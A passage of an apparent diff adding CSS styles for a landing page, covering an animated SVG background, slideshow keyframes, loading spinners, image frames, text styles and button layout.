%3B640.263%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B89.466%3B89.466%3B89.466%3B89.466%3B89.466%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2288.3489%22%20y1%3D%22445.5165%22%20x2%3D%2293.8813%22%20y2%3D%22440.6083%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2288.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B75.9079%3B62.0547%3B62.0547%3B62.0547%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B456.554%3B468.8442%3B468.8442%3B468.8442%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2293.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B88.3489%3B75.9079%3B48.92%3B48.92%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B445.5165%3B456.554%3B480.4971%3B480.4971%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22491.051%22%20y1%3D%2288.8651%22%20x2%3D%22486.1732%22%20y2%3D%2293.1749%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B491.051%3B500.2836%3B510.5698%3B522.1007%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2288.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B88.8651%3B80.7074%3B71.6189%3B61.4306%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B486.1732%3B491.051%3B500.2836%3B510.5698%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2293.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B93.1749%3B88.8651%3B80.7074%3B71.6189%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22132.1859%22%20y1%3D%22208.3961%22%20x2%3D%22140.2882%22%20y2%3D%22209.7594%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B132.1859%3B121.8851%3B110.3888%3B97.476%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B208.3961%3B206.6627%3B204.7282%3B202.5553%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B140.2882%3B132.1859%3B121.8851%3B110.3888%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B209.7594%3B208.3961%3B206.6627%3B204.7282%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22384.3853%22%20y1%3D%22379.9563%22%20x2%3D%22383.125%22%20y2%3D%22377.2166%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B384.3853%3B387.8272%3B391.6578%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B379.9563%3B387.438%3B395.7648%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B383.125%3B384.3853%3B387.8272%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B377.2166%3B379.9563%3B387.438%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22511.4146%22%20y1%3D%22440.2755%22%20x2%3D%22506.1915%22%20y2%3D%22434.8106%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B511.4146%3B521.7326%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B440.2755%3B451.0712%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B506.1915%3B511.4146%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B434.8106%3B440.2755%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22601.4977%22%20y1%3D%22178.0974%22%20x2%3D%22596.0526%22%20y2%3D%22179.2948%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22419.0981%22%20y1%3D%22143.2643%22%20x2%3D%22418.1474%22%20y2%3D%22144.1923%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22131.9981%22%20y1%3D%22367.2248%22%20x2%3D%22135.1136%22%20y2%3D%22365.1165%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22144.9396%22%20y1%3D%22257.2131%22%20x2%3D%22146.4923%22%20y2%3D%22257.0604%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22557.1564%22%20y1%3D%22342.5661%22%20x2%3D%22548.3059%22%20y2%3D%22338.7384%22%20stroke-opacity%3D%220%22%20%2F%3E%3C%2Fsvg%3E'), linear-gradient(to top, rgba(0, 0, 0, 0.302), rgba(0, 0, 0, 0.302));
+ background-size: 100% 100%, auto;
+ background-position: center, 0% 0%;
+ background-repeat: no-repeat, repeat;
+}
+
+#bg {
+ background-attachment: scroll;
+ height: var(--background-height);
+ left: 0;
+ pointer-events: none;
+ position: fixed;
+ top: 0;
+ transform: scale(1);
+ width: 100vw;
+ z-index: 0;
+ background-color: #000000;
+}
+
+#bg.slideshow-background>.slow {
+ animation-duration: 60s;
+}
+
+#bg.slideshow-background>.normal {
+ animation-duration: 45s;
+}
+
+#bg.slideshow-background>.fast {
+ animation-duration: 30s;
+}
+
+#bg.slideshow-background>div {
+ transition-duration: 1s;
+}
+
+body:after {
+ background-color: #788281;
+ content: '';
+ display: block;
+ height: 100%;
+ left: 0;
+ opacity: 0;
+ pointer-events: none;
+ position: fixed;
+ top: 0;
+ transform: scale(1);
+ transition: opacity 1s ease-in-out 0.875s, visibility 1s 0.875s;
+ visibility: hidden;
+ width: 100%;
+ z-index: 1;
+}
+
+body.is-loading:after {
+ opacity: 1;
+ visibility: visible;
+}
+
+:root {
+ --background-height: 100vh;
+ --site-language-alignment: left;
+ --site-language-direction: ltr;
+ --site-language-flex-alignment: flex-start;
+ --site-language-indent-left: 1;
+ --site-language-indent-right: 0;
+ --site-language-margin-left: 0;
+ --site-language-margin-right: auto;
+ --viewport-height: 100vh;
+}
+
+html {
+ font-size: 16pt;
+}
+
+u {
+ text-decoration: underline;
+}
+
+strong {
+ color: inherit;
+ font-weight: bolder;
+}
+
+em {
+ font-style: italic;
+}
+
+code {
+ background-color: rgba(144, 144, 144, 0.25);
+ border-radius: 0.25em;
+ font-family: 'Lucida Console', 'Courier New', monospace;
+ font-size: 0.9em;
+ font-weight: normal;
+ letter-spacing: 0;
+ margin: 0 0.25em;
+ padding: 0.25em 0.5em;
+ text-indent: 0;
+}
+
+mark {
+ background-color: rgba(144, 144, 144, 0.25);
+}
+
+spoiler-text {
+ -webkit-text-stroke: 0;
+ background-color: rgba(32, 32, 32, 0.75);
+ text-shadow: none;
+ text-stroke: 0;
+ color: transparent;
+ cursor: pointer;
+ transition: color 0.1s ease-in-out;
+}
+
+spoiler-text.active {
+ color: #FFFFFF;
+ cursor: text;
+}
+
+s {
+ text-decoration: line-through;
+}
+
+sub {
+ font-size: smaller;
+ vertical-align: sub;
+}
+
+sup {
+ font-size: smaller;
+ vertical-align: super;
+}
+
+a {
+ color: inherit;
+ text-decoration: underline;
+ transition: color 0.25s ease;
+}
+
+a[onclick]:not([href]) {
+ cursor: pointer;
+}
+
+deferred-script {
+ display: none;
+}
+
+#wrapper {
+ -webkit-overflow-scrolling: touch;
+ align-items: center;
+ display: flex;
+ flex-direction: column;
+ justify-content: center;
+ min-height: var(--viewport-height);
+ overflow: hidden;
+ position: relative;
+ z-index: 2;
+}
+
+#main {
+ --alignment: center;
+ --flex-alignment: center;
+ --indent-left: 1;
+ --indent-right: 1;
+ --margin-left: auto;
+ --margin-right: auto;
+ --border-radius-tl: 0;
+ --border-radius-tr: 0;
+ --border-radius-br: 0;
+ --border-radius-bl: 0;
+ align-items: center;
+ display: flex;
+ flex-grow: 0;
+ flex-shrink: 0;
+ justify-content: center;
+ max-width: 100%;
+ position: relative;
+ text-align: var(--alignment);
+ z-index: 1;
+ transform: perspective(1000px) rotateY(0deg);
+ transform-origin: 50% 50%;
+ transition: opacity 1s ease 0s, transform 1s ease 0s;
+}
+
+#main>.inner {
+ --padding-horizontal: 3rem;
+ --padding-vertical: 3rem;
+ --spacing: 1.5rem;
+ --width: 36rem;
+ border-radius: var(--border-radius-tl) var(--border-radius-tr) var(--border-radius-br) var(--border-radius-bl);
+ max-width: 100%;
+ position: relative;
+ width: var(--width);
+ z-index: 1;
+ padding: var(--padding-vertical) var(--padding-horizontal);
+}
+
+#main>.inner>* {
+ margin-top: var(--spacing);
+ margin-bottom: var(--spacing);
+}
+
+#main>.inner> :first-child {
+ margin-top: 0 !important;
+}
+
+#main>.inner> :last-child {
+ margin-bottom: 0 !important;
+}
+
+#main>.inner>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ max-width: calc(100% + calc(var(--padding-horizontal) * 2) + 0.4725px);
+ width: calc(100% + calc(var(--padding-horizontal) * 2) + 0.4725px);
+}
+
+#main>.inner>.full:first-child {
+ border-top-left-radius: inherit;
+ border-top-right-radius: inherit;
+ margin-top: calc(var(--padding-vertical) * -1) !important;
+}
+
+#main>.inner>.full:last-child {
+ border-bottom-left-radius: inherit;
+ border-bottom-right-radius: inherit;
+ margin-bottom: calc(var(--padding-vertical) * -1) !important;
+}
+
+#main>.inner>.full.screen {
+ border-radius: 0 !important;
+ max-width: 100vw;
+ position: relative;
+ width: 100vw;
+ left: 50%;
+ margin-left: -50vw;
+ right: auto;
+}
+
+body.is-loading #main {
+ opacity: 0;
+ transform: perspective(1000px) rotateY(9deg);
+}
+
+body #wrapper:after {
+ background-position: center;
+ background-repeat: no-repeat;
+ background-size: contain;
+ content: '';
+ display: block;
+ height: 6.25rem;
+ left: calc(50% - 3.125rem);
+ opacity: 0;
+ pointer-events: none;
+ position: fixed;
+ top: calc(50% - 3.125rem);
+ transition: opacity 1s ease, visibility 1s;
+ visibility: hidden;
+ width: 6.25rem;
+ z-index: 100000;
+}
+
+body.is-loading {
+ pointer-events: none;
+}
+
+body.is-loading.with-loader #wrapper:after {
+ background-image: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iOTZweCIgaGVpZ2h0PSI5NnB4IiB2aWV3Qm94PSIwIDAgOTYgOTYiIHpvb21BbmRQYW49ImRpc2FibGUiPjxzdHlsZT5jaXJjbGUgeyBmaWxsOiAjRkZGRkZGODA7IH08L3N0eWxlPjxjaXJjbGUgY3g9IjI0IiBjeT0iNDgiIHI9IjMiIG9wYWNpdHk9IjEiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9InIiIGJlZ2luPSIwcyIgZHVyPSIxcyIgdmFsdWVzPSIyOzM7MjsyOzIiIHJlcGVhdER1cj0iaW5kZWZpbml0ZSIgLz48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJvcGFjaXR5IiBiZWdpbj0iMHMiIGR1cj0iMXMiIHZhbHVlcz0iMC4zNzU7MTswLjM3NTswLjM3NTswLjM3NSIgcmVwZWF0RHVyPSJpbmRlZmluaXRlIiAvPjwvY2lyY2xlPjxjaXJjbGUgY3g9IjM2IiBjeT0iNDgiIHI9IjIiIG9wYWNpdHk9IjAuMzc1Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJyIiBiZWdpbj0iMC4ycyIgZHVyPSIxcyIgdmFsdWVzPSIyOzM7MjsyOzIiIHJlcGVhdER1cj0iaW5kZWZpbml0ZSIgLz48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJvcGFjaXR5IiBiZWdpbj0iMC4ycyIgZHVyPSIxcyIgdmFsdWVzPSIwLjM3NTsxOzAuMzc1OzAuMzc1OzAuMzc1IiByZXBlYXREdXI9ImluZGVmaW5pdGUiIC8+PC9jaXJjbGU+PGNpcmNsZSBjeD0iNDgiIGN5PSI0OCIgcj0iMiIgb3BhY2l0eT0iMC4zNzUiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9InIiIGJlZ2luPSIwLjRzIiBkdXI9IjFzIiB2YWx1ZXM9IjI7MzsyOzI7MiIgcmVwZWF0RHVyPSJpbmRlZmluaXRlIiAvPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9Im9wYWNpdHkiIGJlZ2luPSIwLjRzIiBkdXI9IjFzIiB2YWx1ZXM9IjAuMzc1OzE7MC4zNzU7MC4zNzU7MC4zNzUiIHJlcGVhdER1cj0iaW5kZWZpbml0ZSIgLz48L2NpcmNsZT48Y2lyY2xlIGN4PSI2MCIgY3k9IjQ4IiByPSIyIiBvcGFjaXR5PSIwLjM3NSI+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iciIgYmVnaW49IjAuNnMiIGR1cj0iMXMiIHZhbHVlcz0iMjszOzI7MjsyIiByZXBlYXREdXI9ImluZGVmaW5pdGUiIC8+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0ib3BhY2l0eSIgYmVnaW49IjAuNnMiIGR1cj0iMXMiIHZhbHVlcz0iMC4zNzU7MTswLjM3NTswLjM3NTswLjM3NSIgcmVwZWF0RHVyPSJpbmRlZmluaXRlIiAvPjwvY2lyY2xlPjxjaXJjbGUgY3g9IjcyIiBjeT0iNDgiIHI9IjIiIG9wYWNpdHk9IjAuMzc1Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJyIiBiZWdpbj0iMC44cyIgZHVyPSIxcyIgdmFsdWVzPSIyOzM7MjsyOzIiIHJlcGVhdER1cj0iaW5kZWZpbml0ZSIgLz48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJvcGFjaXR5IiBiZWdpbj0iMC44cyIgZHVyPSIxcyIgdmFsdWVzPSIwLjM3NTsxOzAuMzc1OzAuMzc1OzAuMzc1IiByZXBlYXREdXI9ImluZGVmaW5pdGUiIC8+PC9jaXJjbGU+PC9zdmc+');
+ opacity: 1;
+ transform: scale(1.0);
+ visibility: visible;
+}
+
+body.is-playing.with-loader #wrapper:after {
+ opacity: 0;
+ transform: scale(0.5);
+ transition: opacity 0.25s ease, transform 0.75s ease, visibility 0.25s;
+ visibility: hidden;
+}
+
+body.is-instant #main,
+body.is-instant #main>.inner>*,
+body.is-instant #main>.inner>section>* {
+ transition: none !important;
+}
+
+body.is-instant:after {
+ display: none !important;
+ transition: none !important;
+}
+
+@keyframes loading-spinner {
+ 0% {
+ transform: rotate(0deg);
+ }
+
+ 100% {
+ transform: rotate(360deg);
+ }
+}
+
+.slideshow-background:after {
+ content: '';
+ display: block;
+ width: 4rem;
+ height: 4rem;
+ position: absolute;
+ top: 50%;
+ left: 50%;
+ margin: -2rem 0 0 -2rem;
+ animation: loading-spinner 1s infinite linear;
+ transition: opacity 0.25s ease;
+ transition-delay: 1s;
+ opacity: 0;
+ pointer-events: none;
+ z-index: -1;
+ background-image: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iOTZweCIgaGVpZ2h0PSI5NnB4IiB2aWV3Qm94PSIwIDAgOTYgOTYiIHpvb21BbmRQYW49ImRpc2FibGUiPjxzdHlsZT5jaXJjbGUge2ZpbGw6IHRyYW5zcGFyZW50OyBzdHJva2U6ICNmZmY7IHN0cm9rZS13aWR0aDogMS41cHg7IH08L3N0eWxlPjxkZWZzPjxjbGlwUGF0aCBpZD0iY29ybmVyIj48cG9seWdvbiBwb2ludHM9IjAsMCA0OCwwIDQ4LDQ4IDk2LDQ4IDk2LDk2IDAsOTYiIC8+PC9jbGlwUGF0aD48L2RlZnM+PGcgY2xpcC1wYXRoPSJ1cmwoI2Nvcm5lcikiPjxjaXJjbGUgY3g9IjQ4IiBjeT0iNDgiIHI9IjMyIi8+PC9nPjwvc3ZnPg==');
+ background-position: center;
+ background-repeat: no-repeat;
+ background-size: 3rem;
+}
+
+.slideshow-background.is-loading:after {
+ opacity: 0.35;
+ z-index: 0;
+}
+
+.slideshow-background>div {
+ background-size: cover;
+ position: absolute;
+ top: 0;
+ left: 0;
+ width: 100% !important;
+ height: 100% !important;
+ opacity: 0;
+ z-index: -2;
+ animation-timing-function: linear;
+ animation-iteration-count: infinite;
+ animation-direction: alternate;
+}
+
+.slideshow-background>.initial {
+ transition: none;
+}
+
+.slideshow-background>.visible {
+ opacity: 1;
+}
+
+.slideshow-background>.top {
+ z-index: -1;
+}
+
+.slideshow-background.instant>div {
+ visibility: hidden;
+}
+
+.slideshow-background.instant>.visible {
+ visibility: visible;
+}
+
+.slideshow-background.crossfade>div {
+ transition: opacity 2s ease-in-out;
+ visibility: hidden;
+}
+
+.slideshow-background.crossfade>.visible {
+ visibility: visible;
+}
+
+.slideshow-background.fade>div {
+ transition: opacity 2s ease-in-out;
+ visibility: visible;
+}
+
+.slideshow-background.fade>.visible {
+ visibility: visible;
+}
+
+.slideshow-background>.left,
+.slideshow-background>.right {
+ width: 150% !important;
+}
+
+.slideshow-background>.up,
+.slideshow-background>.down {
+ height: 150% !important;
+}
+
+.slideshow-background>.in,
+.slideshow-background>.out {
+ transform-origin: 50% 50%;
+}
+
+.slideshow-background>.left.is-playing {
+ animation-name: slideshow-background-left;
+}
+
+.slideshow-background>.right.is-playing {
+ animation-name: slideshow-background-right;
+}
+
+.slideshow-background>.up.is-playing {
+ animation-name: slideshow-background-up;
+}
+
+.slideshow-background>.down.is-playing {
+ animation-name: slideshow-background-down;
+}
+
+.slideshow-background>.in.is-playing {
+ animation-name: slideshow-background-in;
+}
+
+.slideshow-background>.out.is-playing {
+ animation-name: slideshow-background-out;
+}
+
+.slideshow-background>.slow {
+ animation-duration: 60s;
+}
+
+.slideshow-background>.normal {
+ animation-duration: 45s;
+}
+
+.slideshow-background>.fast {
+ animation-duration: 30s;
+}
+
+@keyframes slideshow-background-left {
+ from {
+ transform: translateX(0);
+ }
+
+ to {
+ transform: translateX(-25%);
+ }
+}
+
+@keyframes slideshow-background-right {
+ from {
+ transform: translateX(-25%);
+ }
+
+ to {
+ transform: translateX(0);
+ }
+}
+
+@keyframes slideshow-background-up {
+ from {
+ transform: translateY(0);
+ }
+
+ to {
+ transform: translateY(-25%);
+ }
+}
+
+@keyframes slideshow-background-down {
+ from {
+ transform: translateY(-25%);
+ }
+
+ to {
+ transform: translateY(0);
+ }
+}
+
+@keyframes slideshow-background-in {
+ from {
+ transform: scale(1);
+ }
+
+ to {
+ transform: scale(2);
+ }
+}
+
+@keyframes slideshow-background-out {
+ from {
+ transform: scale(2);
+ }
+
+ to {
+ transform: scale(1);
+ }
+}
+
+.image {
+ display: block;
+ line-height: 0;
+ max-width: 100%;
+ position: relative;
+}
+
+.image .frame {
+ -webkit-backface-visibility: hidden;
+ -webkit-transform: translate3d(0, 0, 0);
+ display: inline-block;
+ max-width: 100%;
+ overflow: hidden;
+ vertical-align: top;
+ width: 100%;
+}
+
+.image .frame img {
+ border-radius: 0 !important;
+ max-width: 100%;
+ vertical-align: top;
+ width: inherit;
+}
+
+.image.full .frame {
+ display: block;
+}
+
+.image.full:first-child .frame {
+ border-top-left-radius: inherit;
+ border-top-right-radius: inherit;
+}
+
+.image.full:last-child .frame {
+ border-bottom-left-radius: inherit;
+ border-bottom-right-radius: inherit;
+}
+
+#image01:not(:first-child) {
+ margin-top: 1.5rem !important;
+}
+
+#image01:not(:last-child) {
+ margin-bottom: 1.5rem !important;
+}
+
+#image01 .frame {
+ width: 6rem;
+ border-radius: 100%;
+ border-color: #FFFFFF;
+ border-style: solid;
+ border-width: 4px;
+ transition: none;
+}
+
+#image01 .frame img {
+ transition: none;
+}
+
+h1,
+h2,
+h3,
+p {
+ direction: var(--site-language-direction);
+ position: relative;
+}
+
+h1 span.p,
+h2 span.p,
+h3 span.p,
+p span.p {
+ display: block;
+ position: relative;
+}
+
+h1 span[style],
+h2 span[style],
+h3 span[style],
+p span[style],
+h1 strong,
+h2 strong,
+h3 strong,
+p strong,
+h1 a,
+h2 a,
+h3 a,
+p a,
+h1 code,
+h2 code,
+h3 code,
+p code,
+h1 mark,
+h2 mark,
+h3 mark,
+p mark,
+h1 spoiler-text,
+h2 spoiler-text,
+h3 spoiler-text,
+p spoiler-text {
+ -webkit-text-fill-color: currentcolor;
+}
+
+#text01 {
+ color: #FFFFFF;
+ font-family: 'Inter', sans-serif;
+ font-size: 2.25em;
+ line-height: 1.25;
+ font-weight: 700;
+}
+
+#text01 a {
+ text-decoration: underline;
+}
+
+#text01 a:hover {
+ text-decoration: none;
+}
+
+#text01 span.p:nth-child(n + 2) {
+ margin-top: 1rem;
+}
+
+#text02 {
+ color: #FFFFFF;
+ font-family: 'Inter', sans-serif;
+ font-size: 0.875em;
+ line-height: 1.25;
+ font-weight: 100;
+}
+
+#text02 a {
+ text-decoration: underline;
+}
+
+#text02 a:hover {
+ text-decoration: none;
+}
+
+#text02 span.p:nth-child(n + 2) {
+ margin-top: 1rem;
+}
+
+.buttons {
+ cursor: default;
+ display: flex;
+ justify-content: var(--flex-alignment);
+ letter-spacing: 0;
+ padding: 0;
+}
+
+.buttons li {
+ max-width: 100%;
+ text-align: var(--alignment);
+}
+
+.buttons li a {
+ align-items: center;
+ justify-content: center;
+ max-width: 100%;
+ text-align: center;
+ text-decoration: none;
+ vertical-align: middle;
+ white-space: nowrap;
+}
+
+#buttons01 {
+ gap: 1rem;
+ flex-direction: column;
+ flex-wrap: nowrap;
+}
+
+#buttons01:not(:first-child) {
+ margin-top: 1.75rem !important;
+}
+
+#buttons01:not(:last-child) {
+ margin-bottom: 1.75rem !important;
+}
+
+#buttons01 li a {
+ display: inline-flex;
+ width: auto;
+ height: 3rem;
+ line-height: 3rem;
+ padding: 0 1.5rem;
+ vertical-align: middle;
+ font-family: 'Inter', sans-serif;
+ font-size: 1em;
+ font-weight: 400;
